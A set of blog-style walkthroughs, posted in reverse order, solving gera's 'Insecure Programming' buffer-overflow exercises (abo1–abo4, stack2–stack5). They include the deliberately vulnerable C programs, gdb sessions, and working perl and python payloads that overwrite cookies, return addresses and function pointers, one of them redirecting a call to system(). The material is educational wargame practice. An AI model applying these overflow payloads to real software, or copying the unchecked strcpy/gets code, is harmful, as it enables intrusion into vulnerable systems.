First, let’s take a look at the code:

/* abo4.c
* specially crafted to feed your brain by gera@core-sdi.com */

/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

A quick look at the code reveals we have two insecure calls to strcpy(), with the first one allowing us to overflow ‘buf[]‘ and ‘pbuf’, a pointer to a malloc’d area.

Again we have the ‘fn’ function pointer, which initially points to the libc address of “system” but quickly changes to “puts” which, again, is not interesting to us.

|————–
| *pbuf    | —-> points to the address returned by malloc()
|- – - – - – - -
| buf[256] |
|————–

As you can notice, *pbuf a pointer — that is, nothing but a variable that holds the value for another variable. With that said, through the first strcpy() we can overflow ‘buf[]‘ in order to touch the contents of ‘pbuf’, which right after main() kicks in, holds the value of “puts”.

We can replace the content of ‘pbuf’ with something else, say the value of ‘fn’. When the second strcpy() gets executed, we will get “argc[2]” copied to whatever ‘pbuf’ is pointing to. Later, we have ‘fn’ being called with “argc[3]” as its only argument.

See our strategy? In the first strcpy() we will modify the value stored within ‘pbuf’ for the value of ‘fn’. The second strcpy() will replace the pointer stored in ‘fn’ (namely “puts”) with the libc address of “system”, and when the code calls “fn(argc[3])” it will be actually calling “system(argc[3])”, ultimately executing whatever command we want.

<pre>

|—————-
|    &fn        | —-> points to “puts”
|- – - – - – - — |
| AAAAA… | buf[256]
|—————-

</pre>

On gdb we set a breakpoint in main() to get the addresses of variables and pointers we intend to mess with:

——————————————————————–
(gdb) step
10 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x &pbuf
0xbffffcd0: 0×00000000

(gdb) x/x &fn
0x804969c : 0x080482ec
——————————————————————–

Addresses
- &fn: 0x804969c (points to 0x080482ec, address of newly allocated area)
- &system: 0xb7ee8990

# ./abo4 `perl -e ‘print “A”x256 . “\x9c\x96\x04\x08″‘` `perl -e ‘print “\x90\x89\xee\xb7″‘` “echo you win”
you win

Exploiting it stepping through the code inside the debugger can help clarify this process. Wait around for the solution of abo5.c.

After a long time sitting on my ass and not solving any abo’s (kudos to Cesar for being more determined than me), here I am again with my solution to abo3.c.

I found this one pretty simple if compared to previous ones (namely abo1.c and abo2.c, although they were no big deal too).


/* abo3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}


Taking a look at the code we can quickly have an idea of what we are going to exploit. We have ‘fn’, a pointer to a function, which is initially pointing to the libc address of “system” and a fixed-size buffer that can be overflowed later with the call to strcpy().

In our current memory layout, ‘buf[]‘ sits in a lower address than ‘fn’.
In order to verify this, I set a breakpoint on main and let it run
for a bit:

——————————————————————
(gdb) break *main
Breakpoint 1 at 0x80483f4: file abo3.c, line 6.
(gdb) r aaa bbb
Starting program: /vulndev/InsecureProgramming/abo3 aaa bbb

After some ‘step’ commands, I got this:

(gdb) x/x &fn
0xbffffce4: 0x080482fc
(gdb) x/x buf
0xbffffbe4: 0×00616161
——————————————————————-

Back with the code: after running for a while, ‘fn’ has its value changed to the address of “puts”, which isn’t interesting for us. Later, the first argument is copied into ‘buf[]‘, no bounds check performed. Then the function pointer ‘fn’ is called with the second argument as its parameter.

As we can overflow ‘buf[]‘ and end up overwriting the value held in ‘fn’, we just need to obtain the libc address of “system” and ultimately overwrite the content of ‘fn’ — previously pointing to “puts” — with this address.

Back to gdb we can have:

——————————————————————
(gdb) p &system
$2 = (int *) 0xb7ee8990
——————————————————————

Now on with the exploitation:

——————————————————————
./abo3 `perl -e ‘print “A”x256 . “\x90\x89\xee\xb7″‘` “echo you win”
you win
——————————————————————

Realize this “you win” is being echoed to stdout not due to the fact “puts” is in place, but because we have actually called system(“echo you win”).

/* abo2.c                                       *
 * specially crafted to feed your brain by gera */

/* This is a tricky example to make you think   *
 * and give you some help on the next one       */

int main(int argv,char **argc) {
	char buf[256];

	strcpy(buf,argc[1]);
	exit(1);
}

Also, gera has posted some things to consider:

In this new abo, as you can see, we added an exit(). Go and find out what’s the difference, what new possibilities this exit() adds, or what constrains it puts on the exploitation of the buffer overflow… good luck, take your time, and keep thinking until you are absolutly sure of what you think…

Problem’s solution after the break.

What’s the difference with abo #1? The code is exactly the same but it adds an exit function call… So what does the function do? Exit ignores the classic return mecanic we have been dealing with and using to exploit other stack warmup and abos’ problems. So, everytime we have an exit (before leave, ret) we don’t use the leave and ret instructions.

A solution could be overwrite exit function, but we can’t! Exit code’s function is on a different map than the one we are using to store our information. So this solution is impossible

So, apparently this abo has no solution! It’s just a warning about exit function!

Please, comment it!
See you next week!!

/* abo1.c                                       *
 * specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argc,char **argv) {
	char buf[256];

	strcpy(buf,argv[1]);
}

Sooo… What should we do? Print again a you win message. It was a rought battle… I’m gonna tell you after the break.

Understanding the program

The abo we have to solve it really easy:

• Declare a buffer of 256 characters
• Copy the argv[1] into the buffer

Anything else? Well… Don’t! It just does that… Take a look at printf man page if you don’t understand anything. So what should be the problem? We can set argv[1] as a longer buffer of more than 256 chars: Buffer Overflow!

It looks really clear what’s going on, and maybe where are we going… Anyway, to have a better understand we need to know more about ASM code and stack composition. First of all, I’m gonna teach some hints about gdb to automatize the process and be less painful.

Learning something about gdb

I’m gonna talk about some gdb parameters that will help us to test the program and understand the flow:

–command=config_file

Command command line argument for gdb allow to set some parameters everytime we start gdb. I’m gonna start some options that help me to debug the program.

Preferred parameters

Sometimes is really help full to see the next 10 instructions to execute. It really help me to find out where the program is and what’s going on:

display /10i $eip

Also, I hate to type the run and set a breakpoint on the main of the program, here an automatized way:

b main

Finally, we have been talking about command line arguments for the program (argc, argv). This time we need to set the parameters to call the program (argv[1]):

set args “`cat input`”

On input file we are going to set the characters to make the program explode (oh, that sounds good!).

How the flows goes…

We have automatized some tedious work with gdb, now we need to understand how the stack is working. So, run gdb and type disas main, to see the code:

[CODE OF ASM]

We can imagine that the stack looks like:

Python can help us!

On previous post, we have been dealing with little endian problems and finding the right way to write some memory address or trying to remember the order where the data went.

I’m gonna write a little example that will help us to write the buffers and forget about the endianess problems:

import struct
assert(struct.pack(“<L”, 0×41424344) == “\x44\x43\x42\x41″)

ret_addres = 0×41424344
pad_len = 100payload = “”
payload += “P”*pad_len
payload += struct.pack(“<L”,ret_address)

print payload

Here we use a module struct that help us to write the byte sentence into little endian or big endian. Take a look at struct.pack: < for specify the little endian, L to set the character’s way to interpret; the second parameter is the byte sentence we want to write: 0×41414141 a nice example.

Finally to write the input file to our program we need to write:

python programatic_input.py > input

We have an input created programatically and clear to other programmer eyes!

Turn on the Light: My idea!

We already know how the stack looks like, we need to find out a way to make the program do what we have done later: make the program jump to some place where a printf is called with our desired arguments to print “you win!”.

This time we have not a call to printf, we need to find out other way. My idea is… When the return address is called jump to printf from libc instruction and set the stack with the desired arguments to the pointer to you win string.

Designing the exploit

I hope you have understood my idea. If you don’t, don’t worry!

On Stack Warmup #5, we have used a similar technique to jump into some call instruction and formatting the stack the way we want to replace the stack arguments. This time, we need to jump to printf instruction and setting the function arguments manually.

Every function has a first argument that is where to come back after finishing function calculation (ret address), after calling a call this return address is pushed into the stack and the new stack for the function is formatted.

So, we need to configure parameters:

1. Return address after executing print: i decided to use a exit function (how do I get the value? on gdb running the app, I have typed: print exit
2. Arguments for printf: a pointer to you win string should be enough this time

So, it’s time to decide how to do the buffer overflow:

import struct

ret_address = 0xb7edca20
old_ebp = 0xbffff4e8
new_instruction = 0×42424242
pointer_to_you_win_string = 0xbffff4e8
ret_address_for_printf = 0xb7ec25a0

pad_len = 8
buffer_size = 256

payload = “”
payload += “a”*buffer_size
payload += struct.pack(“<L”, old_ebp)
payload += struct.pack(“<L”, ret_address)
payload += struct.pack(“<L”, ret_address_for_printf)
payload += struct.pack(“<L”, pointer_to_you_win_string)
payload += “d”*(pad_len*2)
payload += “you win!”

print payload

Some notes:

• the exploit is not 100% correctly as you can see pointer to “you win” string is setted staticly (looking where I am doing the overflow), so running the exploit win or without gdb will change the address. Maybe, you are seeing some incorrect characters on the printf called.
• The return address for printf function is setted to exit function, because I’m not printing a \n into the you win string so flush is never done. Exit function warantes that flush is done and you win string is printed!

Maybe you want to help me to complete it!

We have recently explained leave and ret instruction, so now it’s time to think how to make our program to jump to the desired place: printf with our own parameters: a string pointer to a “you win” string.

So, after jumping to printf line, call gets (0×08048490 according to dissas main command on gdb), we need to set some values on our stack. So, we should overflow the buffer again:

• Cookie value it’s not important: AAAA is a good choice
• Previous EBP: something readable (can’t find out why some readable address, maybe printf do something with ebp)
• ret value: 0×08048490 (printf call instruction)
• Next value should be a pointer to “you win!” string
• You win string

Now, we can debug the program step by step and take a look at the importants lines: leave and ret. And you will see something like this before and after leave instruction:

And after leave there’s a ret:

When printf is called, their first argument is pointing to you win instruction so it prints. There is an important observation: ebp should be pointing to some readable memory (can’t find out why yet), so I have used some memory: exit address instruction (exit() c function from libc).

What about the script?

python -c “print ‘AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDD’ \
‘DDDDDDDDEEEEEEEEEEEEFFFFFFFFFFGGGGGGGG’ \
‘GGHHHHHHHH’ \
‘AAAA’ \
‘\xee\xf5\xff\xbf’ \
‘\x90\x84\x04\x08′ \
‘\x04\xf6\xff\xbf’\
‘you win!\x0a \x00′”

Every comment about the explanation is welcome, I found out that graphics for every assembly instruction will explain better than my words… But if you think different, please comment it.

Today I picked it up just for noticing that I was WRONG! Abo #4 and Abo #5 are really difficult, and 5 “requires” 4′s solution. Today, I’m gonna solve Abo #5, well… I’ll try to give the basic ideas for my solution and on part 2 I’ll complete the explanation

/* stack5.c                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000a0d00)
		printf("you lose!\n");
}

Where is the “you win!” string? It says you lose! There are not way to win!!!!! Wait, we are trying to be hackers so we should think a path to print you win!

What have we done to solve Abo #4? We has changed the return’s address to make the program to jump inside the if. This time, may be there are other options but my thought is calling the printf function but changing their arguments to print “You win!” instead of “you lose!\n!”.

First of all, I propose to make a list with all the steps required:

1. Fill the buffer with some information
2. Change program’s flow to jump to printf with the desired parameters.
3. Continue Execution

Changing program’s flow is the complicated step, so we need to have a perfect understanding of what’s going on with the stack pointers (ebp, esp) and return address. To make the perfect understanding, take a look at asm stack5′s code:

	.file	"stack5.c"
	.section	.rodata
.LC0:
	.string	"buf: %08x cookie: %08x\n"
.LC1:
	.string	"you lose!"
	.text
.globl main
	.type	main, @function
main:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$96, %esp
	leal	-4(%ebp), %eax
	movl	%eax, 8(%esp)
	leal	-84(%ebp), %eax
	movl	%eax, 4(%esp)
	movl	$.LC0, (%esp)
	call	printf
	leal	-84(%ebp), %eax
	movl	%eax, (%esp)
	call	gets
	movl	-4(%ebp), %eax
	cmpl	$658688, %eax
	jne	.L2
	movl	$.LC1, (%esp)
	call	puts
.L2:
	movl	$0, %eax
	leave
	ret
	.size	main, .-main
	.ident	"GCC: (Gentoo 4.3.4 p1.0, pie-10.1.5) 4.3.4"
	.section	.note.GNU-stack,"",@progbits

The normal program’s flow takes us to execute a leave and then a ret instruction to finish our program. We need something different, don’t terminate just jump to “call printf” instruction with a different parameter: a pointer to “you win!” string.

Time to explain what do clean and ret do

leave instruction

On a normal program execution, leave is executed before a ret instruction. Her work is let the stack as it was before entering to the current function (thinking our program as a function: int main() { … }). So the example here imagines a running program on some state:

How does the leave instruction works? Little graphical explanation

It is important to imagine that we are restoring the stack as it was before our program was called, because ret is gonna call the next instruction where our program was invocated. Our flow control will change here the stack and set our desired stack with leave… And ret will… (continue reading if you can’t imagine)

ret instruction

This ret instruction is useful to change the instruction pointer, to jump to other function usually. How does it works on some state:

Ret instruction graphical explanation

Recapitulate our idea, we are going to change program’s flow using the buffer overflow to write over the “previous ebp” and the ret address, to make the program jump the place we want (printf with the specified parameter).

Just like the past ABOs we have been playing with, solving this one is no rocket science either. Nevertheless, it’s a little bit more tricky than the other ones we have defeated lately.

/* stack4-stdin.c *
* specially crafted to feed your brain by gera */

if (cookie == 0x000d0a00)
printf("you win!n");
}


Taking a quick look at the code you may think this one is as straightforward as the past two ABOs. Just use something to aid us in writing non-printable chars such 0×00, 0x0a and 0x0d and we’re done. If you paid attention to the explanation of the past ABO, you’ll remember gets(3) will stop whenever it encounters a newline (0x0a) character, thus making it impossible for us to overwrite ‘cookie’ with the desired value.

But bear in mind we’re facing here an exploitable stack overflow situation. That means we can redirect the execution flow to any address we want. Does it ring a bell?

Let’s disassemble the code to see what’s going on behind the scenes:

(gdb) disas main
Dump of assembler code for function main:

0x080483fa : mov 0xfffffff8(%ebp),%eax
0x080483fd : cmp $0xd0a00,%eax
0x08048402 : jne 0x8048410
0x08048404 : movl $0x8048540,(%esp)
0x0804840b : call 0x80482d4
0x08048410 : add $0x74,%esp


If you see in main+57 we have a comparision to check whether the content of EAX register equals to 0xd0a00. In main+62 we have a conditional jump that states if the previous comparision was not successful, the code should jump to main+76; otherwise, it will fall through the instructions and execute main+64 and main+71, this last one is responsible for printing “you win!” for our delight.

Have you already figured out the strategy we’ll use here? If not, let’s recapitulate what we already have in our hands:

- We just can’t change ‘cookie’ with the value we want, but we can totally control the content of EIP register, thus jumping to anywhere we want;
- There’s an address within the address space of our own code that will make it print what we want to see.

Choosing carefully an address to jump to, we pick the address of main+64 (0×08048404) to do the job for us. You may be wondering why we have chosen this particular address and not used the address of main+71, the one responsible for calling puts(), right away. The answer is that before calling a function, we need to set up a few things with the stack. Give it a try and make it jump straight to the address of main+71 and you’ll see it will break, because the prior stack adjustment hasn’t been done, you’ve just skipped it by jumping to an instruction after it.

Now with the real deal:

box:/vulndev/InsecureProgramming# perl -e ‘print “A”x76 . “x04x84x04x08″ . “CCCC”‘ | ./stack4
buf: bffffcb0 cookie: bffffd00
you win!
Bus error (core dumped)

And stack4.c is down.

/* stack3-stdin.c *
* specially crafted to feed your brain by gera */

#include

int main() {
int cookie;
char buf[80];

printf(“buf: %08x cookie: %08x\n”, &buf, &cookie);
gets(buf);

if (cookie == 0×01020005)
printf(“you win!\n”);
}

If you have read our explanation on solving stack1.c and stack2.c, this challenge will be a piece of cake.

Now we need to stuff ‘cookie’ with 0×01020005 — oh God, the feared null-byte, the nemesis of shellcoders, the damned char that can’t be stuffed into character arrays!

But don’t worry about a thing, every little thing is gonna be alright as we just learn in this situation there is no problem if we stuff our null-byte on it. You may be wondering why this happens. The explanation can be found on gets(3) man page:

GETS(3) Linux Programmer’s Manual GETS(3)

NAME
fgetc, fgets, getc, getchar, gets, ungetc – input of characters and
strings

(…)

gets() reads a line from stdin into the buffer pointed to by s until
either a terminating newline or EOF, which it replaces with ”. No
check for buffer overrun is performed (see BUGS below).

See? gets(3) does not stop copying after it encounters a null-byte, but does so when it sees a newline (0x0a in hex).

box:/vulndev/InsecureProgramming# perl -e 'print "A"x80 . "\x05\x00\x02\x01"' | ./stack3
buf: bffffcc0 cookie: bffffd10
you win!
Segmentation fault (core dumped)

One more ABO down. Stay tuned for the solution of stack4.c.


/* stack2-stdin.c *
* specially crafted to feed your brain by gera */

if (cookie == 0x01020305)
printf("you win!\n");
}

If you have paid attention to the solution we came up for stack1.c you will clearly see stack2.c can be solved in the very same straight-forward manner we did with our last post.

The only difference with it, however, is that we must overwrite the value of ‘cookie’ with 0×01020305, which is comprised of characters we just can’t find in our keyboard.
As we can’t type in like we did with “ABCD”, we must find a way to do something like this for us. Now Perl comes handy with this task, and we launch it as following:

box:/vulndev/InsecureProgramming# perl -e ‘print “A”x80 . “\x05\x03\x02\x01″‘ | ./stack2
buf: bffffcb0 cookie: bffffd00
you win!
Segmentation fault (core dumped)

Happy dance, and one more ABO down.
Spoiler alert: stack3.c can be solved exactly in the same way.

/* stack2.c                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020305)
		printf("you win!\n");
}

If you have solved the first abo, you should see that this one looks the same way. Well, it looks the same way but now I’m gonna explain you a little bit more and may be some hints to play after!

Maybe you did the same than I have done: look the program and say, oh it’s the same! Easy!

But here there are a little few things to care about: where is the 01 ascii character on my keyboard? How can I do to send it to the program?

Well… I don’t know where are you and which keyboard do you have but on mine, the 01 ascii char doesn’t appear, so my solution was to print the character with Python and then use it as program’s standard input.

Python allows you to execute commands directly from command line. I.e.:

python -c “print ‘hola’”

And python’s print allows you to print hexadecimal characters:

# prints: A b
print ‘\x41 b’

So now, we need to create the input for the program… As everything works the same way than first abo solution, we copy the standard input and modify the last characters by the hexa values:

python -c “print ‘AAAAAAAAAABBBBBBBBBBCCCCCCCCCC’ \
‘DDDDDDDDDDEEEEEEEEEEEEFFFFFFFFFF’ \
‘GGGGGGGGGGHHHHHHHH\x05\x03\x02\x01′”

Now, compile the stack2.c as abo2.c and do:

python -c "print  'AAAAAAAAAABBBBBBBBBBCCCCCCCCCC' \
'DDDDDDDDDDEEEEEEEEEEEEFFFFFFFFFF' \
'GGGGGGGGGGHHHHHHHH\x05\x03\x02\x01'" | ./abo2

Ok! We won again!

A good exercise is to change the first abo solution to use this method using asci codes (on hexadecimal) just to play a little bit more.